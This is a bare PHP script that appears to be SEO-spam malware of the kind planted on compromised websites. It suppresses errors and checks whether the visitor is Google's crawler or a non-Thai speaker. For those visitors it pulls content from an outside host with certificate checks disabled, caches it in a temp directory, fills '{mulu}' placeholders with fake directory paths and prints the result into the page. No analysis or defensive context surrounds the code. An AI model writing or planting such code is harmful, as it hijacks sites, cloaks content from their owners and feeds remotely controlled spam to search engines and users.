<?php
error_reporting(0);
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');


$http_accept_language = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
$http_user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';


function getTmpDir() {
    $user = function_exists('get_current_user') ? @get_current_user() : '';
    $preferredTmp = '/home/' . $user . '/tmp';

    if ($user !== '' && is_dir($preferredTmp) && is_writable($preferredTmp)) {
        return $preferredTmp;
    }

    $sysTmp = function_exists('sys_get_temp_dir') ? @sys_get_temp_dir() : '';
    if ($sysTmp !== '' && is_dir($sysTmp) && is_writable($sysTmp)) {
        return $sysTmp;
    }

    $fallback = dirname(__FILE__) . '/tmp';
    if (!is_dir($fallback)) {
        @mkdir($fallback, 0777, true);
    }

    return $fallback;
}

function fetch_remote_content($url) {
    $content = '';

    if (function_exists('file_get_contents')) {
        $ctx = null;
        if (function_exists('stream_context_create')) {
            $ctx = stream_context_create(array(
                'http' => array(
                    'timeout' => 10,
                    'header'  => "User-Agent: Mozilla/5.0\r\n"
                ),
                'https' => array(
                    'timeout' => 10,
                    'header'  => "User-Agent: Mozilla/5.0\r\n"
                )
            ));
        }

        if ($ctx !== null) {
            $content = @file_get_contents($url, false, $ctx);
        } else {
            $content = @file_get_contents($url);
        }

        if ($content !== false && $content !== '') {
            return $content;
        }
    }

    if (function_exists('curl_init')) {
        $ch = @curl_init();
        if ($ch) {
            @curl_setopt($ch, CURLOPT_URL, $url);
            @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
            @curl_setopt($ch, CURLOPT_TIMEOUT, 15);
            @curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
            if (stripos($url, 'https://') === 0) {
                @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            }
            $content = @curl_exec($ch);
            @curl_close($ch);
            if ($content !== false && $content !== '') {
                return $content;
            }
        }
    }

    return '';
}

$is_google = (stripos($http_user_agent, 'google') !== false);
$not_th = (stripos($http_accept_language, 'th') === false);

if ($is_google || $not_th) {
    $arr_mul = array("video/", "appserv/");
    $dir = getTmpDir();
    $file_count = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . 'data.txt';
    $url = 'https://api.thapi1.com/index/url.php';
    $cache_ttl = 48 * 60 * 60;

    $need_refresh = true;
    if (file_exists($file_count) && (time() - filemtime($file_count) < $cache_ttl)) {
        $need_refresh = false;
    }

    if ($need_refresh) {
        $content = fetch_remote_content($url);

        if ($content === '') {
            $content = file_exists($file_count) ? @file_get_contents($file_count) : '';
            if ($content === false) {
                $content = '';
            }
        }

        $pos = 0;
        for ($i = 0; $i < 100; $i++) {
            $found = strpos($content, '{mulu}', $pos);
            if ($found === false) {
                break;
            }

            $replace_value = $arr_mul[array_rand($arr_mul)];
            $content = substr_replace($content, $replace_value, $found, strlen('{mulu}'));
            $pos = $found + strlen($replace_value);
        }

        @file_put_contents($file_count, $content, LOCK_EX);
    } else {
        $content = @file_get_contents($file_count);
        if ($content === false) {
            $content = '';
        }
    }

    echo $content;
}
?>